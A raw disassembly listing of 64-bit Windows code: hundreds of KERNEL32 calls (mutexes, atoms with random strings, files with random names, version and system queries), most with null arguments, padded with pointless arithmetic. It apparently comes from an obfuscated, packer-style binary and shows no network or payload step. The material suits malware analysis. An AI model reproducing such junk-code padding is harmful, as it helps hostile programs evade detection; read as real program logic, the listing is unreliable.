xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc630], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x14022fbf8]
mov qword [rsp + 0xc638], rax
lea rcx, str.acSFiIC_TbH6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1788], ax
movzx eax, word [rsp + 0x16b4]
movzx ecx, word [rsp + 0xbb8]
shl eax, cl
mov rcx, qword [0x14024f118]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov r9d, 0x95e
xor r8d, r8d
lea rdx, [rsp + 0xb448]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c94], eax
mov edx, 0x24e1
mov rcx, qword [rsp + 0xbc90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x519c], eax
mov rax, qword [rsp + 0xbb18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc580]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa438]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7be0], rax
mov rax, qword [rsp + 0xae00]
mov rax, qword [rax]
mov qword [rsp + 0xc640], rax
movzx eax, byte [rsp + 0x2ad]
mov rcx, qword [rsp + 0xa468]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0xbd10]
mov qword [rsp + 0xc648], rax
movsx eax, word [rsp + 0x63c]
mov rcx, qword [rsp + 0x9d90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movsx eax, byte [rsp + 0x30a]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass], al
mov rcx, qword [rsp + 0xbdd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0x9a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45c0], eax
movzx ecx, word [rsp + 0x14a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0xbbe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13e4]
sub eax, ecx
mov word [0x14024f2b8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x9f98]
mov rcx, qword [0x14024f330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc638]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x9a78]
mov rdx, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ef8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rdx, [rsp + 0xb9a8]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b44], eax
lea rcx, str.CehPTH.Fdj0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1790], ax
mov rax, qword [rsp + 0xbda0]
movzx eax, byte [rax]
mov byte [rsp + 0x30b], al
mov r9d, 1
lea r8, [rsp + 0xc018]
mov rdx, qword [rsp + 0xba28]
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ad4], eax
movzx eax, word [rsp + 0x1338]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8dc], ax
movzx ecx, word [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1794], ax
mov rax, qword [0x14024f188]
mov ecx, dword [rsp + 0x465c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4654], eax
mov dword [rsp + 0x20], 0x228a
mov r9d, 0x1965
mov r8d, 0x35ed
mov edx, 0x29c7
mov rcx, qword [rsp + 0xb358]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4f48], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor r9d, r9d
lea r8, [rsp + 0xbaf0]
mov rdx, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x51a0], eax
mov rcx, qword [rsp + 0xa0e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2b1]
mov qword [rsp + 0xc658], rax
movsx eax, word [rsp + 0x714]
movsx ecx, word [rsp + 0x15cc]
sub eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov word [rcx], ax
mov rcx, qword [rsp + 0xbdd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x4908]
mov qword [rsp + 0xc660], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc668], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbc30], rax
mov r9d, 1
lea r8, [rsp + 0xb830]
mov rdx, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9d60]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4944], eax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0x7c20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80e0], rax
lea rcx, [rsp + 0x1b0c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4db0], eax
mov rax, qword [rsp + 0xa0d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb9c0]
mov qword [rsp + 0xc670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc670]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14022fc00], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x217]
mov qword [rsp + 0xc678], rax
lea rcx, [rsp + 0x23700]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4db8], eax
mov rax, qword [rsp + 0xbfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa170]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1738], ax
mov eax, 0x38
imul rax, rax, 0
lea rcx, [rsp + 0x1f380]
add rcx, rax
mov rax, rcx
mov dword [rax], 0x2a8a306e
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x184b
mov r9d, 0x1521
mov r8d, 0x4fe019c1
mov edx, 1
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x51a4], eax
movzx ecx, word [rsp + 0x141c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c0], ax
movzx ecx, word [rsp + 0x10a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1798], ax
xor r9d, r9d
lea r8, [rsp + 0x9c28]
mov rdx, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a58], eax
mov r9d, 0x22b7
xor r8d, r8d
lea rdx, [rsp + 0xab68]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x51a8], eax
mov rax, qword [rsp + 0xa198]
mov rcx, qword [rsp + 0xa620]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaf98]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xc3f8]
mov rcx, qword [rsp + 0x99f0]
mov qword [rsp + 0xc680], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8560], rax
mov rax, qword [rsp + 0xb310]
mov ecx, dword [rsp + 0x4884]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44f0], eax
lea rdx, [rsp + 0xafb8]
mov rcx, qword [rsp + 0xb878]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d14], eax
lea rcx, str.O_PFPIKA2_TFuzJ83
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x179c], ax
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb8c0]
movzx eax, byte [rax]
mov byte [rsp + 0x30c], al
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xa2f0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.ZB7uSeI9mF_tUxcnVSEe02Zm89a3WIFqgn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc688], rax
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
lea rcx, [rsp + 0x1aee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rdx, [rsp + 0xc690]
mov rcx, qword [rsp + 0xa068]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f84], eax
movzx eax, byte [rsp + 0x2e8]
movzx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [rsp + 0x306], al
mov eax, dword [0x14022fbf8]
mov dword [0x14024ef28], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x22860]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c30], eax
lea rcx, [rsp + 0x1a8b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0xd6c]
movzx ecx, word [rsp + 0x1758]
and eax, ecx
mov word [rsp + 0xae8], ax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x9670]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x9ab0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.OxK6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc698], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xa8e0]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4648]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4190], eax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xab10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
xor r9d, r9d
lea r8, [rsp + 0x96f8]
mov rdx, qword [rsp + 0xc6b0]
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5020], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbe48], rax
mov rcx, qword [rsp + 0xa590]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4900], eax
mov r9d, 1
lea r8, [rsp + 0xa168]
mov rdx, qword [rsp + 0xba80]
mov rcx, qword [rsp + 0xa9a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x51ac], eax
mov rax, qword [rsp + 0xb670]
movzx eax, word [rax]
mov word [rsp + 0x17a0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xbe70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14024efb8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
lea rcx, str.kcqwxVG_Rw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1798], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0xc2a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf88], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x8b08]
mov rcx, qword [rsp + 0xb140]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbba0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1468]
cdq
idiv ecx
mov word [rsp + 0x62c], ax
lea rcx, str.PBU_35_V3uIh83_PIh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x17a4], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbab0], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4adc], eax
lea rdx, [rsp + 0xbe80]
mov rcx, qword [rsp + 0xb118]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x51b0], eax
mov eax, dword [rsp + 0x495c]
mov rcx, qword [rsp + 0xa9b0]
mov qword [rsp + 0xc6b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xace0]
mov dword [rcx], eax
lea rax, [rsp + 0x2b6]
mov qword [rsp + 0xc6c0], rax
movsx eax, word [rsp + 0xf90]
movsx ecx, word [rsp + 0xe80]
sar eax, cl
mov word [rsp + 0xfc8], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x9b8
mov r8d, 0xc04
mov edx, 0xc7
mov rcx, qword [rsp + 0xbc18]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4b90], eax
mov eax, dword [rsp + 0x4d30]
mov dword [rsp + 0x51b4], eax
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ed]
or eax, ecx
mov byte [rsp + 0x282], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, word [rsp + 0x11c8]
mov rcx, qword [rsp + 0xba70]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022fc04], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14024f340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48d4], eax
movzx ecx, word [rsp + 0x1104]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0xb038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc530]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov r9d, 1
lea r8, [rsp + 0xbc80]
mov rdx, qword [rsp + 0x9740]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x51b8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xb1d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x85c8], rax
mov rcx, qword [rsp + 0x98d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x88b0]
mov qword [rsp + 0xc6c8], rax
movsx eax, word [rsp + 0x1724]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [rsp + 0xb890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42a8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x29e]
mov byte [rsp + 0x30d], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa518]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov word [rcx], ax
mov rax, qword [rsp + 0xc358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f368]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6d0], rax
lea rax, [rsp + 0x89d8]
mov qword [rsp + 0xc6d8], rax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2f3]
add eax, ecx
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x9838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7950]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8998], rax
lea rax, [rsp + 0x15c8]
mov qword [rsp + 0xc6e0], rax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xc090]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4fe8], eax
mov r9d, 2
lea r8, [rsp + 0xb9a8]
mov rdx, qword [rsp + 0xc6e8]
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bfc], eax
movzx ecx, word [rsp + 0x1648]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0xaab8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa798]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa0c], ax
mov r9d, 1
lea r8, [rsp + 0xbdc0]
mov rdx, qword [rsp + 0xc6f0]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x507c], eax
mov rax, qword [rsp + 0x97a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
sar eax, cl
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x257]
mov rcx, qword [rsp + 0xa028]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb060]
mov byte [rcx], al
lea rax, [0x14024f26c]
mov qword [0x14024ef20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xa048]
mov qword [rsp + 0xc6f8], rax
mov rax, qword [rsp + 0xbf50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10c4]
and eax, ecx
mov word [rsp + 0x9fc], ax
mov qword [rsp + 0x20], 0
mov r9d, 0xf84
mov r8d, 0x1610
mov edx, 0xf2
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a98], eax
mov rcx, qword [rsp + 0xa038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x287]
mov rcx, qword [rsp + 0xabe0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x94], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc700], rax
mov rcx, qword [rsp + 0xbae0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xaa70]
mov ecx, dword [rsp + 0x465c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44c4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0x107c]
mov qword [rsp + 0xc708], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4aa0], eax
movsx eax, byte [rsp + 0x109]
mov rcx, qword [rsp + 0x9e50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xa738]
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb900]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7e0]
mov qword [rsp + 0xc710], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx eax, byte [0x14022fb97]
movzx ecx, byte [rsp + 0x280]
sub eax, ecx
mov byte [rsp + 0x2f6], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc718], rax
movzx ecx, word [rsp + 0x1744]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0xaa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fbb8], eax
movzx eax, word [rsp + 0xf04]
mov word [rsp + 0x17a8], ax
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9688]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.i4rE97Ef_beZaNmeMp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc720], rax
mov rcx, qword [rsp + 0xbf70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0xa910]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xa048], rax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xc3e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0xa2b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x878], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc4e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12b], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0x4908]
mov qword [rsp + 0xc728], rax
mov rax, qword [rsp + 0xb8a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4210]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da0], eax
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x22860]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x51bc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xb538]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13e4]
xor eax, ecx
mov word [rsp + 0x1758], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xaf28], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0xdb]
mov qword [0x14024ef18], rax
lea rcx, str.Q8jKkuB0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x17ac], ax
mov rax, qword [rsp + 0x7920]
mov qword [rsp + 0xc730], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xabf0], rax
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f40], eax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0xaa58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9608]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc738], rax
mov eax, dword [rsp + 0x3f94]
movzx ecx, al
mov eax, dword [rsp + 0x4fcc]
shl eax, cl
mov dword [rsp + 0x3ea0], eax
movzx ecx, word [rsp + 0x164c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0xb900]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14022fb5c]
sar eax, cl
mov dword [rsp + 0x4644], eax
lea rax, [rsp + 0x2c3]
mov qword [rsp + 0xc740], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
mov rax, qword [rsp + 0xa650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9708]
div qword [rcx]
mov rcx, qword [rsp + 0xbba0]
mov qword [rcx], rax
